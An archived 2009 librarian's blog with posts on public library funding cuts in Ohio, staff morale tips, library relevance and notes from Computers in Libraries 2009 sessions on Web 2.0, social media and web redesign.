Library Geek Woes

The end.

2009-12-17T13:13:00.000-08:00

I began this blog in 2005, and as we reach the end of 2009, I feel it's time to let it go. Typically, time is an issue for bloggers, and I am no different. Beyond that, however, is the issue of "documenting the death throes of the American Public Library." Everytime I look at my RSS reader, or at the various Google alerts I've had set up to notify me of bad news in LibraryLand...well, let's say that I don't need to do any more documenting. There's a lot of people out there already doing it.

Public libraries are in trouble. I think we really understand that now, as a community, in a way that we didn't four years ago. But I also believe that they're not dead yet. There are a lot of very creative people out there doing their best to reinvent and fine-tune the library as an institution that has meaning for all. I commend those individuals.

For those that still care to hear what I might have to say, I recommend that you change your RSS feed over to the blog I've been maintaining for the past 1.5 years--What Does This Mean to Me, Laura?

To all of you who have followed and commented over the years, I thank you. We didn't always agree, but that wasn't the point, was it?

Save Ohio's libraries!

2009-06-21T07:17:00.000-07:00

In case you haven't heard, Governor Ted Strickland has proposed cuts that will likely close the doors of most of the state's libraries. With the permission of Douglas Anderson, I am reprinting his message to the governor here. Please copy, paste, tweak, modify and send to Ohio's representatives and the governor. Also:

You can get a "Save Ohio Libraries icon for your social media profiles at http://www.worthingtonlibraries.org/about/news/2009/6/save-ohio-libraries:

Use the Twitter hashtag #saveohiolibraries

@Ted_Strickland is on Twitter, and also has a Facebook page

Most importantly--CALL GOVERNOR STRICKLAND at 614-466-3555 TOMORROW MORNING and you can also use his online contact form:
Contact all of your state reps
Contact your state senator

Aurora Martinez, a former congressional intern, also let us know via Facebook:

"When I worked as an intern at a Congressman's local office (in college), I know we were expected to log every caller's name, address, phone, and the exact message they wished to convey to the representative. When you call, if the person you speak to does not ask for all this information, insist that they take it and don't be afraid to emphasize the urgency of your message."

Doug's Letter:

I am a librarian in Ashtabula. I am not one to write to my governor normally. However, I am furious and heartsick over your proposal to slash library funding in half. I cannot fathom how you can justify a cut this drastic -- which would, make no mistake, close the doors of many of our smaller local libraries, which are already struggling to make ends meet after other cuts in recent years. Even the larger ones and those with local levies will be forced to lay off staff, drastically reduce hours, forego long-overdue repairs, stop buying new books, and eliminate crucial services.

As a former small business owner and a former library director, I do understand the necessity to balance the budget. However, I firmly believe that Ohio currently has far better options for doing so. I am especially livid that other less essential agencies, such as the Football Hall of Fame, are not being cut at all, and others are even seeing increases. For instance, the Department of Development, which gives grants to national corporate interests to build Chuck E. Cheese franchises and the like, has had its funding RAISED from 2008 to 2010 by nearly three times the amount that is being cut from libraries. Why can't this increase be reduced in order to support public libraries instead?

At this distressed time in our history, people are flocking to libraries for job information, self-education to prepare for new careers, financial news, and Internet access. Internet access is especially important in a time when more and more businesses are requiring that all applications and resumes be filed online. Without access to the Internet, many of those who are out of work, and therefore unable to afford Internet access at home, will be without even the means to apply for a job!

You have claimed in your speech that we must make education a priority. Andrew Carnegie famously referred to the public library as "the poor man's university". Libraries offer job search classes, resume writing workshops, computer classes, a wealth of information in print, in audiovisual formats, and online via licensed databases --- none of which can be found otherwise online. While your stated support for higher education is certainly laudable, it must not come at the expense of the poor man's university. For many reasons -- family commitments, lack of transportation, even simply psychological temperament -- not everyone can avail themselves of formal education. But the library helps fill the gaps for these people, allowing them to educate themselves in amazing depth across the spectrum of human endeavor. How are our state's poor to educate themselves if support for local public libraries is reduced to such a degree?

For a quarter of a century, public libraries have been one of the gems in Ohio's crown. It is a direct result of the state's firm commitment in the past to library funding that Ohio libraries consistently rank at the top of all libraries in the nation. We have had cause to be proud of our library systems in this state. How you can justify eliminating this flagship service is beyond comprehension.

I urge you to reconsider your short-sighted and narrow-minded attack on a service vital to the well-being of Ohio citizens.

Thank you for your time. I look forward to witnessing your support for this important cause.

Think differently. (Please don't sue me, Apple.)

2009-06-02T09:06:00.000-07:00

This isn't precisely a technology post. Additionally, it's not even about Apple products at all. This is some fodder for rethinking some things; perhaps a lot of things. You get to decide which things those are.

I was once asked what advice I would give someone just starting out in public speaking. Would joining Toastmasters help? Speaking in front of a mirror? I'm still not sure what the best advice would have been, but I explained how I came to be comfortable with presenting. In my first career, I was an environmental/outdoor education teacher. My job was to keep inner city kids interested in things like the life cycles of frogs and the dietary habits of turkey vultures*, possibly while it was cold, pouring and said kids had no Gortex raincoats. One learned very fast to make these topics interesting, or 1) the final evaluations from the visiting parents and teachers would rip one to shreds and 2) The kids would probably beat them to it out of sheer boredom**.

However, "interesting" is a tricky word and can mean something different from one person to the next. I discovered quickly that I needed to replace that word with the word "relevant." It was my job to make my classes relevant to those kids, to the point where they not only weren't bored, but could make some kind of personal connection to the information I was providing. Without that personal connection, that information would almost assuredly go in one ear and out the other. In other words, it was my professional responsibility to give them a reason to care.

So let's bring this around to libraries. Of course, we're concerned about our own relevancy in this increasingly digital era. But I think we get very focused on this aspect and can lose sight of the fact that we, too, have a professional responsibility to give people a reason to care. Sure, right now many libraries are seeing large increases in usage. The sagging economy has suddenly propelled us to relevancy in the eyes of people who are trimming budgets. However, I want to bring this down to a more micro-level approach. Think about individual services you provide in your library and how they are promoted.

Remember, my job wasn't to make every kid that came through our program want to join the Sierra Club, it was to connect them personally to the environment as a whole through connections to smaller, digestible parts. Libraries could be doing the same thing. For every event your library wants to promote, ask the question, "What does this mean to me, Public Library?" In this instance, "me" is the average patron who has way too many demands on her time, is desperately seeking a job, trying to sell his house, finishing a degree...you get the idea. What will the average "I don't have time" person gain from this? Will this storytime expose my child to literacy activities that will help him in school? Will my cover letters stand out? Could my house sell faster or for more money?

At the most base level, every patron is asking, knowingly or not: "What's in this for me?" If you can successfully answer that question for them, you have made that personal connection. Personal connections can result in more broad-based support.

So think a bit differently. Every time you interact with a patron, are you connecting them to something that's truly relevant to them, or just pushing something the library hopes people will come to?

_________________

*Turkey vultures are actually very cool birds. Most predators won't mess with 'em because one of their primary methods of defense is voluntary regurgitation; yes, that's right---they throw up on their enemies. And, remember what turkey vultures eat. Carrion. Fun times. (And of immense interest to kids, of course.)

**I actually LOVED this job.

Long term funding can't be dependent on people dying...

2009-04-15T04:08:00.000-07:00

The long term is likewise worrying librarians throughout western Montana. Down in Polson, the library has become increasingly dependent upon people dying, “and that's no way to fund the future,” said Polson City Library director Marilyn Trosper.

See the full article.

Raising morale

2009-04-07T12:13:00.000-07:00

(Posted with permission from Rachelle Miller, director of the Troy-Miami Public Library in Ohio)

Rachelle Miller posted the following to the statewide public librarian listserv:

In these difficult times, we are seeing an increase in the number of people in foul moods who are using the library. It’s very stressful for the staff, in addition to the stresses the public have and are bringing with them when they come through our doors. I’d really appreciate some examples of ways to increase morale and lift spirits. Obviously we don’t have the money to spend on gift certificates and things like that, so suggestions on cheap and free ways to boost the morale of the staff and public would be appreciated!

She was kind enough to allow me to post her summary of the responses she received to this inquiry. Many are thoughtful and have some good ideas. Thanks to Rachelle and to all the librarians who took the time to respond to her! Responses below:
__________________________________________________

I think that a thank you note goes a long way with staff or even just a pat on the back to let them know they are appreciated.

With patrons, a kind word or a smile can simmer someone down. These are free things and sometimes seem obvious, but we may be overlooking.

Just keep smiling. Engage people in conversations and don't afraid to be silly. You can't change the issues or the tragedies people face in their lives but you can interact with them to show them that someone... even if it is a "stranger"... cares about how they're feeling this one particular day. Make them laugh, show them your "human" sides (funny how people think librarians don't have that!) Show them your sense of humor and that we're all in the same boat. If they're your "regulars," ask about their children, their grandchildren; nothing helps as much as getting people to talk about themselves. Find out what they like and suggest some books or movies.

You can't change what you can't change. But you can offer the one thing we all have the ability to give; a smile and a willing ear. It works. To quote one of my favorite Bruce Springsteen songs, "give a little of that Human Touch."

Hello, Here's a little thought. How about a kiss? Have a bowl of Hershey's Kisses or Hugs at the circ desk to pass out to patrons. I've heard this used as a promotion during Library Week etc. I know it won't solve anyone's problems, but it might get a smile.

Good luck with staff and patron morale. I think we're gong to be dealing with this for a while to come.

You are not alone in noticing more customers in foul moods and increasingly stressed out staff. Here is the link to an article that appeared in the New York Times yesterday talking about this very problem.

http://www.nytimes.com/2009/04/02/us/02library.html?pagewanted=1&_r=1&sq=library&st=cse&scp=2

In times like these when the world seems cloudy, bleak, and the sun is hidden behind a cloud, we have the opportunity to shine. (Both personally and professionally)

Personally, I can give myself an evaluation. Am I encouraging and praising my coworkers? Am I a team player? How can I make the rest of my team look and feel better? Did I complain all day? Did I try to find humor and hope and if I did, did I share it with others? Did I help someone today without being asked?

Professionally- We can evaluate our library, our profession, our mission. Some libraries are assisting displaced workers by offering workshops on resume writing and promoting computer availability. We have so many resources to share.

Promote teamwork. Shelving materials can be a slow, draining process, but we have to do it. A while ago we had an enormous load of materials to shelve. We designated certain times for our employees to drop what they were doing and race to the stacks to shelve a truckload of books. We all worked off of the same truck. In a matter of minutes we would have an empty book truck. We laughed as we worked and the camaraderie made the job seem less monotonous.

Have a “free smile day.” Everyone who walks through your doors gets a free smile.

At MPOW, a lot of our morale is food related. : ) Arrange for your staff have a cookie or treat exchange during lunch one day. Order in pizza for lunch or better yet try a potluck.

One of the things that I have been hearing, directed to me personally is "At least you have a job!". This is coming from the recently laid off and unemployed who are coming in to apply for their benefits. If they only knew...our jobs are on the line as well due to harsh budget cuts and lots of libraries have been cutting hours, staff and branches, as you probably already know.

I'm glad to know that I'm not alone in catching the grumpy attitude from patrons! I look forward to seeing your replies on this.

We are in a small rural library system and we do know most of the folks who walk through our doors and that is a help! We take a very personal approach to our patrons and we do care. We make sure to greet each one with a smile and send them out with the same. We listen as we check them in and we listen as we check them out. We try to overlook moods and attitudes and instead change them with our positive ones. Times are tough and uncertain, but people do respond to genuine caring and concern and everyone wants to feel like what they have to say is important! We are all in this together and that is the truth!! The Golden Rule still applies and since I may be on the other side of the fence I try to treat others like I would want them to treat me!

Chocolate is always good!!! At our small library since Friday is a little less stressful, because we don’t have any programs of any sort, the staff who works does pot luck once a month. We will try to stager lunches so some can eat at the same time. We have evened started having a theme luncheon. March we celebrated St. Patrick’s Day with an Irish stew, we plan to have a Cinco de Mayo in May. For our patrons, we will occasionally do small contests and pass out a small candy bar (the 10 for a $1.00 packages) We’re doing a simple put your name in for a prize (book or cd) for National Library Week. For staff birthdays, we will try to bring in a small cake to share or homemade cookies. Some of us garden, and will bring in a bouquet of flowers from our garden and have them where we and our patrons can see them. It’s tough to be happy all the time, but a simple smile can always make someone feel better.

In my book, “Castles Against Ignorance”, I have several chapters dealing with the morale dilemma and the issues raised in the recent New York Times article. This chapter here, on Camaraderie, focuses on Rachelle’s staff issue, beginning with one fun and healthy tactic…food days! The chapter begins with a true description of the night and day after 9/11, and how coincidentally Lakewood Library had scheduled its annual Fall potluck on that day, and how it helped us through that scary time.

http://www.castles411.com/camrad.doc

It then focuses on several morale issues, especially the challenge faced with a multi-generational work force. My solution, installing pride! I believe recognition, responsibility, and reason are approaches to instilling pride that all the generational groups can be nurtured with. From the book:

The three R's:

Recognition - your creativity, problem solving, heroism. These things have to be highlighted, broadcast through the organization as well as the community.

Responsibility - your role, your contribution, your duty. Understanding of what happens when things go right, as well as when things go wrong.

Reason - our mission, why we are here. The impact on our community, our culture, the future of the world as we shepherd minds through the stacks.

Promoting work-place pride is a technique that will lead to making libraries solid educational environments. Like a propeller pulls a plane.

Rachelle offers up her own tip:

April is National Humor Month. We’re going to tape little cards with jokes on them to the circulation desk that patrons can flip up for the answers. I don’t know how it will work but I saw something similar at a local bank and thought it was a cute (and cheap) idea. I’m also sending a library joke a day out to the staff via email. I’m starting to get a few positive responses. Laughter is supposed to make people feel better so we’ll see how it goes!

Here are a few of them, most I think are from Multnomah County Public Library: http://www.multcolib.org/kids/jokes.html.

How many reference librarians does it take to change a light-bulb?

(with a perky smile) "Well, I don't know right off-hand, but I know where we can look it up!"

Q: What happens when you cross a librarian and a lawyer?

A: You get all the information you want, but you can't understand it.

Q. What did one book say to the other one?

A. I just wanted to see if we are on the same page.

Q. Why didn't the burglar break into the library?

A. Because he was afraid he'd get a long sentence.

Q. Why did the library computer sneeze?

A. It had a virus.

Depressing library story Monday morning roundup

2009-04-06T04:41:00.000-07:00

#cil2009 Keynote--Digital Strategies and Knowledge Commons

2009-04-01T05:29:00.000-07:00

Michael Edson, Director, Web and New Media Strategy, Smithsonian

To be relevant in this century, the Smithsonian needs to return to its roots as the original information commons. Good civics, good business

Commons=a set of resources maintained in the public sphere for the use and benefit of everyone. Better to freely share than to restrict. When creators are given unrestricted access to the work of others, innovation flourishes. The converse applies as well. A commons could be considered a workshop where components can be assembled into new things.

The framers of copyright understood the commons to be the norm, not the exception. "Public domain is the place where we quarry the building blocks of our culture" -James Boyle

GNU License, Creative Commons

The relationship between free and commerce can be very beneficial, even financially. Corey Doctorow gives his books away for free and makes a lot of money. IBM put $10 million into Linux, got a 500% return.

Collaborative model. Free and open, seems to beat closed and proprietary. Outperforming, more appropriate, a new way of organizing. Almost every time. The commons model is a fundamental new way of organizing.

Examples:

Washington D.C. Data Catalog
The National Institutes of Health--grant-funded research must be public domain
Flickr Commons--97% of Smithsonian's users of FLickr content are more likely to use the Smithsonian's web site, have a more favorable view. Some photos seen 8 times/month on site, but over 2K times per month on Flickr!
MIT open Courseware--MIT gives away course content for free

Common characteristics of commons

Freely sharing info that would have been locked up previously
Licensing or permissions structure is loose
Rarely assert rigid institutional boundaries
The more their sites get used, the better they become

The Smithsonian, the Un-Common Institutuion

The scope and depth of collections is incredible, 137 million objects physically, including a telescope in outer space
99% decentralized media production; done by web teams in individual units. "The 1000 wildflowers" business model. Search and findability erratic, duplication of effort, usability and branding not consistent. It's hurting them. Google images, Wikipedia, NASA and other pages show up before the Smithsonian in google search results. Brand is not competing well on BattleBrands.com. Web traffic trending downwards on Alexa. Wikipedia's listings include hyperlinks, Smithsonian's does not. YouTube has videos. Which sites tell you more?
Ideas about authority are changing dramatically. Where to go for trusted content is changing.
Today's consumers draw no distinctions between an org's web site and it's brick-and-mortar presence (Lee Rainie)

Making the Smithsonian into the Smithsonian is the needed game-changer; low risk, high reward proposition. Perhaps the only viable option for the Smithsonian in this century.

#cil2009 Evaluating, Recommending and Justifying Web 2.0 Tools

2009-03-31T11:19:00.000-07:00

Web 2.0 provides opportunties for collaboration

Hunch--web 2.0 outsourcing of opinion

Magazines & newspapers online have components that print versions do not
What is a "publication" any more?

Does your mgt appreciate the power of the social?
You can't lump all the social tools together; each one is different

Guidelines for evaluating social software not all that different than for other things; is it appropriate, will it meet the need, etc.

To recommend something, you may have to get outside your comfort zone and engage others not in the library

Technology should solve a problem, not be looking for a problem to solve.
What is the BEST solution to the problem?
Now I'm going to look at products on the open web to see if they are the solution I want.

Who owns the data, if it's something like a mashup or on Facebook? What are the advantages, the pros, cons? Just like you evaluate any other technology

Common objections:

"This stuff just wastes time"--wasting time is not unique to social networking
"Invasion of privacy"--Collaborative, internal projects, not an issue. Can lock it down to certain people/groups
"Security violations"--usually from IT. Check out http://blogs.state.gov
"Employees could share sensitive info"--this is a mgt issue, not a technology issue
"It's a fad"--Talking to other people is a fad??

These concerns aren't trivial and need to be addressed. What are the serious objections and the not-so-serious objections and be prepared with an answer. "Yes, that's a concern, and I've thought about that. Here's how it can be addressed."

Who are the stakeholders? HR, IT? Strategic planning groups? Different world views. Everybody sees tech through their own prism.

What kind of org do you work for? Risk averse? Dynamic?
Make the business case. What outcomes will there be? Align with the org's goals. Be prepared with answers to those who object. Do your research.

Take timing into account--will budget cuts affect it or not? Stuff that's free CAN have a cost in time and maintenance and be prepared to justify it.

Delivery of proposal: bullet points, executive summary paragraph, brief narrative. Don't say "So and so said to do this at CIL." Anecdotes--who else in your industry is doing this?

Mgt. buy-in never guaranteed. Don't hide if you decide to "just do it." Communication is vital. Don't surprise them.

Measuring success--marketing is essential. Just bringing in 2.0 apps not the end. Metrics are important.

No tinselware--don't do something just because the cool kids are doing it.

#cil2009 Social Networking Profile Management

2009-03-31T08:29:00.000-07:00

Who are you online?

What I say about me, and what others say about me
Digital identity mapping--all the crumbs of our digital lives we leave behind form our digital identity
Employers see your name plugged into Google and a list of search results
We don't own our online identities, but you can influence it

Greg's four tips for managing the social
1. Own your username--get one and stick to it and be consistent. Try checkusernames.com
2. Join the conversation--participate in social networks and let people know who you are
3. Listen--pay attention to what other people are saying about you
4.Be authentic--connect online digital with the real one

What are we doing here anyway?

Creating and managing identity in social media is like social metadata and as librarians we need to manage it
We need to help our patrons manage their social metadata

Identity--the Good
1. Register with uniform user names
2. Register with uniform generic email
3. Keep profile information current
4. Quick replies to user's messages--don't ignore people
5. Be yourself, not the library--if you speak as an institution, you will be labeled an instition
6. Be open to EVERYONE, regardless to geography

Identity the Ugly

Register with random, strange usernames
Outdated profile info
Register with individual's emails
Institutional tone in communication

Social networking is not just personal, it's also professional

Some resources:

CheckUsername.com
OPen I and Claim ID
Ping.fm
AtomKeep (sp?)

Michael Porter promoting WebJunction as a librarian community where you can represent yourself as a library professional

Do:

Use Flickr to show pictures of your library's swag
use Twitter to promote what you're doing
Show your personality--photos that show you're fun (but not silly and be sensitive)
Have fun with these tools, but no naked pictures of you on MySpace
Show the success stories with networking tools
Don't put up pics enjoying a beer at the bar

It's easier and more authentic to realize that professional and personal stuff does not exist separately; not really possible to keep them separate and not necessarily the best route to take

#cil2009 Best of the Web

2009-03-31T07:22:00.000-07:00

Aaron Schmidt, Digital Initiatives Librarian, District of Columbia Public Library

Firefox

Add-ons (e.g. Greasemonkey, which lets you add Javascript to your browser)
Smart keywords--can use any search box on the web and add to your toolba

Customized Google--can change display (e.g. 10 results to 100)

Better Gmail II--lets you take out all the ads from Gmail

Google Reader--can but a skin on it to make it look better

Book City Jackets--not web based. Brown paper covers like in grade school

Wikimedia Commons--dedicated to images, movies, media in general. Can find open source images to use in promotional materials

Flickr image search--advanced function allows you to search by Creative Commons license

Pictobrowser--makes a slideshow for your website from Flickr images

Skitch--screenshot tool. Can annotate your screenshots and can upload directly to Flickr from Skitch

Jing--screenshot grabs and make screencasts. Can download as Flash to use locally

Web Toaster--entirely web based screencasting tool

Vimeo--cleaner than YouTube with less insulting comments and "artier" Has a great sign-up process

PostRank--Put in your library's blog address and it will tell you which posts are the most popular

CopyPasteCharacter.com--How to make weird characters in HTML

Today'sMeet--Creates a temporary online space for people to gather and discuss things

Doodle--schedule a meeting online

ColorLovers--color schemes for design

Tagcrowd--can pull out tags from a page or text

Qapture--real time Twitter

Search.twitter.com--search for different keywords or hashtags in Twitter

TweetDeck--monitor Twitter friends, do searches, can filter

Vyew--free webcasting/webconferencing tool

bacolicio.us--adds bacon to any web page

TED Talks

GoogleVoice--Google bought Grand Central. Can forward all calls to one number and voice mail gets transcribed

Google Forms

http://www.lizania.com/bookbag.php--bag that looks like a book

Prezi--can make very cool presentations, but not very intuitive. Invite only right now

280Slides--online presentation maker

LovelyCharts--online chart maker

TypeTester--can test different fonts

#cil2009 Developing a Sustainable Library IT Environment

2009-03-30T12:00:00.000-07:00

Oleg Kreymer, Jennie Pu, Watson Library, The Metropolitan Museum of Art

Basic assumption: Technology implementation decisions that we make today will affect library IT environments for years to come

Sustainable web design

The Case of the Vanished Programmer--when student programmer left, librarian was stuck with an app she couldn't update or migrate
Web design by committee--not good
"Special" needs--Not every library is unique; somebody has already done it. Don't reinvent the wheel
Solution: Open Source CMS--design and management templates, reality check, social software

Social software advantage: community support, agile development, familiarity to patrons and staff, built to be successful and it is here to stay.
Strategies: taking what works and making it work for you.

Engaging your peers

New technology is exciting: harness it.
Your most valuable resource: your peers
Learn by playing

Customize to your needs to existing solutions

Problem: creep of the internal shared drive. Very hard to find anything, makes work inefficient. Uses an internal blog for meeting notes, conference reports, information that is important to the library and staff. Comments invite participation and build community and cuts down on email
IM for quick chats and status
Flickr: document ongoing projects, volunteer directory
Google suite: reference calendar, seating schedules, registration sheets
No more bottlenecks: share responsiblity with all staff; No more waiting for changes like updating the site; leadership inevitability

Shaping user expections

Many of our users are beyond what we as libraries do; we are always trying to catch up and compete
Strategies: ongoing instruction and outreach. Integrate new technology as much as possible

Information Systems...and technology?

Working with your IT department--
Different priorities than library
No strategic development done
There were no open, effective channels for communication between the library and IT. Used informal channels of communication. If you're off the radar, you have the freedom to do what you want! You have a leadership opportunity; if you develop your skills and play, you can become IT literate

Our web 2.0 timeline

March 2006--CIL2006
Sept. 06, playing with tools
Summer 07--museum-wide web 2.0 outreach
August 08--YouTube presence
Feb 09--Flickr images marketing campaign

The ILS: the elephant in the server farm

The ILS is conceptually obsolete: limite customization options, don't own our data, standards are limited
ILS must go. Now what?
Open Library Environment Project oleproject.org--is to define a next gen library technology environment from the ground up

Strategies for sustainable library IT development

Tailor your needs to existing solutions
educat yourself, your peers, your patrons
learn by playing
Be a leader

#cil2009 Redesign: the Pitfalls and Perils and How to Avoid Them

2009-03-30T08:44:00.000-07:00

Jeff Wiseneski, Web Services librarian at University of Pittsburg

There are alternatives to doing a major redesign every couple of years. One major pitfall is doing a redesign when you don’t need one
Bad reasons to redesign: It’s been x months/years since we redesigned; The boss says I have to; I’m bored with the site
Good reasons: When your navigation is dysfunctional; when your site doesn’t scale; when it’s difficult to update; when you code is hopelessly sic; when your site has poor usability; when it’s not performing based on your sites’ goals/objectives
Redevelop versus redesign: redevelop=triple bypass; redesign=cosmetic surgery
Resdesign is low cost in time for both you and the users
Notice that Amazon has not changed a whole lot in almost 10 years; resdesigning a site does not need to be completely different
Maintaining consistency can be important.
The Quiet Death of the Major Relaunch (2003)
Users dislike redesigns a lot. Facebook anti-redesign group has 1.7 million members. Last.fm redesign drew over 2,000 comments, often strongly negative
Caveats: beware the vocal majority, be evidence-based
Redesign and the 5 stages of user grief: denial—“Why did you change it?” Anger—“You have rendered the site useless!” Bargaining—“If you could just revert back to the OLD page that would be great!” Depression “What am I going to do now?” Acceptance—“While I hate it still, I was able tfind what I needed”
Maintenance=boring, redesign=exciting. Do we really hate to redesign?
Pitfalls

Discovery—failing to account for assessment time and effort. Spend your money on the highest profile or best ROI services and content

Look at where people are going in the site, wehre they’re NOT going, what pages they enter into and what pages they leave from
Review past usability studies
If it’s been a while do one NOW
Find and document your current page rank
Tips on getting buy in

Show your manager what cool things other libraries are doing
Show them data indicating that your site is not functional/competitive
Too much consensus; design by committee =death
Make a data-based case

Being an expert

Define constituencies and include them in the process
Site for librarians and site for patrons are incompatible goals

· Thinking inside the box

o Is a traditional page-based model best? What about CMS, blogs and wikis?

· Spending too much time “designing” Don’t spend time on an original design (via Seth Godin)

· Looking only at other library sites; but don’t limit to just libraries. User expectations are formed on library web sites

· Not having smart goals for the redesigns: Specific, measurable. E.g., increase google page rank, show % in usability, measure decrease in content update lag time, show increase in user engagement

· Failing to communicate enough

o Consider a redesign blog or wiki

o Manage expectations

o Be transparent to public and colleagues

Execution

o Communicating too much

o Redesign by committee is rarely pretty

o Look to evidence short circuit tedious discussions

§ http://www.usability.gov

§ www.useit.com

o Not providing users a clear path—define the primary functions of your site and make sure those paths are clear

o No need to reinvent the wheel—from JavaScripts to CSS, chances are its been done already

o Where to spend, time, money and effort—on remarkable content—reading lists, course based guides, reviews, white papers, foreclosure resources, how to get content onto your iPod. Next gen opac, federated search, ejournal finder, photo tagger, assignment calculator. It’s WELL-WRITTEN content. Invest time in rewriting content, don’t cut and paste

o Design for SEO

o Simple URLs

o Descriptive page titles

o Proper and consistent HTML

o Descriptive tags

o Submit a sitemap to Google after your redsign

o Ask Google to remove old content from its index

Account for social media

o Social bookmark links

o Tag your pages

Don’t forget to update your robot.txt file and update your analytics, definitions, paths, groups, etc

How will you keep it fresh? How will it be maintained? Stay in perpetual beta

Opening Keynote @ Computers in Libraries 2009: Lee Rainie

2009-03-30T05:20:00.000-07:00

(Lee Rainie is a director of the Pew Internet Project)

Friending Libraries: the newest nodes in people's social networks

Talking about how social media affects his live speeches and how Twitter works

The internet is the asteroid: Then and now

2000: 46% o adults use internet, 5% had broadband had home, 50% owned a cell phone, 0% connected wirelessly, less than 10% used the cloud, slow, stationary connections built around my computer
2008: 75% of adults use internet, 57% with broadband at home, 82% own a cell, 62% connect wirelessly, more than 53% use the cloud, fast mobile connections built around outside servers and storage

Ecosystem changes

Volume of information grows
Variety of information increases--people have many more alternatives about how they spend their time, and changes the way people think about information and how they filter it
Velocity of information speeds up--they way you find out about stuff now is much faster, esp. with social media
The times and places to experience media enlarge--we can get it when we want, how we want, not as prefabricated things generated by media companies. People are thinking differently about how they get info
People's vigilance for information expands AND contracts--e.g., health searches. You can go from 0-->1000 mph on a particular subject very quickly. However, people have to set up more rigorous screening; people are living more in a state of continuous, partial attention
The immersive qualities of media are more compelling--virtual worlds are changing the way people think about interacting with media
Relevance of information improves--e.g., Google alerts, etc. "The Daily Me." Get info relevant to you via RSS, alerts, etc.
The number of info "voices" explodes and becomes more findable. Huge change in the power relationships people have with media
Voting and ventilating are enabled--people are creating their own taxonomies of meaning, ranking and rating their experiences in life
Social networks are more vivid--people are falling back on their social systems for support to help them make sense of the world

Behold Homo Connectus
A different species with a different sense of...

Expectation about access to info
Place and distance
Presence with others
Opportunities to play are expanding
Time use is changing
Personal efficacy is changed
Possibilities for social networking are hugely different from even 10 years ago

New findings from Pew from last Thursday

39% are motivated by mobility
Wireless connections prompt them to use the internet more and feel better and better about its role in their lives
self expression and networking matters to them, but some have mixed feelings
61% are tied to stationary media
Some have lots of technology but it's relatively peripheral in their lives
They may have plateaued in internet use or are on the outskirts of digital life

Motivated by mobility: Group 1 (Digital Collaborators--8% of population)

Tech lifestyle attributes
With the most tech assets, these folks use them to work with and share their creations with others
They lead the pack in every dimension of our analysis: assets, actions, attitudes towards technology
Always on broadband and always-present cell connection is key to the lives
These veteran users are enthusiastic about how ICTs help them connect with others
GenX group (Yay, me!)
56% male, median age is 39, diverse race
How to be a node in their network: be a place for them to jack into the grid; give them a place to collaborate and share
enlist their help in giving you coaching and feedback on the experiments with technology you want to try

Ambivalent networkers (7% of population)

Have folded devices into how they run their social lives
They tie for first or take second in all assets and actions categories
They express worries about connectivity and some find that mobile devices are intrusive
Median ages is 29 (Gen Y), 60% male, Many are not email users, but fanatic with cell phones
How to be node in their network: be a sanctuary--and a place where they have permission to go offline; offer gaming haven (%4% own a console); help them figure out the new etiquette of online social networking (5% have SNS profile)
Help them navigate information overload

Media Movers (7% of population)

Wide range of online and mobile habits and they are bound to find or create an info nugget and pass it on
These social exchanges are central to this group's use of ICTs--rather than work related uses
56% male, median age is 34. 90% online health seekers
How to be a node in their network: Help them to find outlets for sharing their creations; help them navigate to material they they can pass along to others; social networking is a socializing experience for them and information sharing is a social currency

Roving Nodes (9% of population)

Active managers of their social and work lives using mobile devices
They get the most out of basic applications
56% female, 39 is median age. Say tech gives them control. Cell phone is most critical device in their lives
How to be a node: Help them to be efficient; give them access to technology so they can check in and check up on things; help them to be more efficient parents; teach them about cloud applications

Mobile Newbies (8% o population)

Just got a cell phone in last 1-2 years and it was a life-changing event
Still mostly used as a cell phone to call people
Not necessarily Internet users
55% female, median age is 50%; don't create content
How to be a node: Offer how-to material, coaching and mentoring; offer technology access; offer tech support; offer pathways to the wonders of the web--they are just getting their feet wet and do not know much about the useful and fun stuff they can find online

Stationary media majority--Group 1
Desktop veterans (13% of population)

mobility does not matter to them; content to use high speed connection and desktop
55% male, only 77% have cells, average content creators
How to be a node: Offer them to good computers with good connections; they are self-sufficient and don't need a ot of hand holding

Drifting surfers (14% of pop)

Live in families with teenage kids or spouses who dominate the computer
Attitude has worsened in the last 2 years concerning technology
How to be a node: don't force tech on them; your traditional services appeal most; tech support might be appealing

Information encumbered (10% of pop)

Don't like technology and begrudge it
67% male, median age is 53. Feel overloaded by this stuff and when gadgets break, their minds blow up
How to be a node: Don't force tech on them; sympathize that the world is changing rapidly; offer a sanctuary, hold their hands

Tech indifferent (10% of pop)

55% female, only 39% use the net, least likely users of everything
To be a node: See no benefits in tech because it is not relevant
High levels say they're discouraged

Off the network (14% of pop)

No cell phones, no computers
57% female, median age is 67
See no improvements with technology
To be a node: traditional lib services are best, community activities and socializing opportunities good

Friending libraries are 5+ things...

Pathways to problem-solving information
Pathways to personal enrichment
Pathways to entertainment
Pathways to new kinds of social networks built around people, media and institution

Headline roundup

2009-03-20T04:25:00.000-07:00

Some of the latest depressing news out of Libraryland:

Five Keys to Leading in Turbulent Times

2009-03-04T06:19:00.000-08:00

Keynote session at the Branch Manager's Workshop, 3/4/09 by Marti Peden

Communities underestimate what libraries can get from libraries.

With change, there is always a crisis and an opportunity. Get involved with the opportunity, not the crisis.

An article in Newsweek looked at who survives in crises. The people who keep their heads, like the pilot who landed the plane in the Hudson. Losing your head is like having "giveupitis."

Libraries are the "soft place to land;" the place that isn't taking, but giving right now.

It's still possible to thrive now, despite the hard times and constant change.

The Five Keys

Keep a positive attitude
- Managers have to lead attitude change--"we'll get through that"
- Change is a given, and some people have forgotten this
- Your attitude is one of the few things that is totally under your control. Face the realities, find the opportunities
- Don't forget the Serenity Prayer
- Change is never smooth; tell staff it's not going to be smooth
- "It is what it is." We can't control a lot of things, except our attitudes.
- Have to be positive, even if the change isn't our idea
- Want to check your attitude? Take a look at how you communicate with your family and what is coming to work with you. Try journaling as well.
Never waste a crisis
- This is a chance to reinvigorate
- It is very difficult to create major change; complacency, status quo, homeostasis
- The change process involves "Unfreezing, changing and Refreezing"
- A crisis provides the urgent need for change. Identify/discuss crises and potential crises. Examine the market an competitive realities. Discuss major opportunties. Some people, if they don't PERCEIVE urgency, won't be motivated to make change. Make it clear that a crisis is underway and change is urgently needed.
- Crises provide a short time in which it is easier to make change
- Libraries should position themselves now to meet patron needs and figure out what people want. What can we supply that they had to cut because of economic times? This is the opportunity for libraries to reconnect with patrons.
- There are only 2 ways to add customers: innovation and marketing . Everything else is expenses. (Peter Drucker)
Remember the 20/50/30 Rule

20% are early adopters, 50% middle, neutral and 30% are resisters
The resisters are the most vocal. but you need to focus on the middle. Results are the only way to convince the resisters. The resisters will try convince the middle people, possibly resulting in a larger negative reaction.
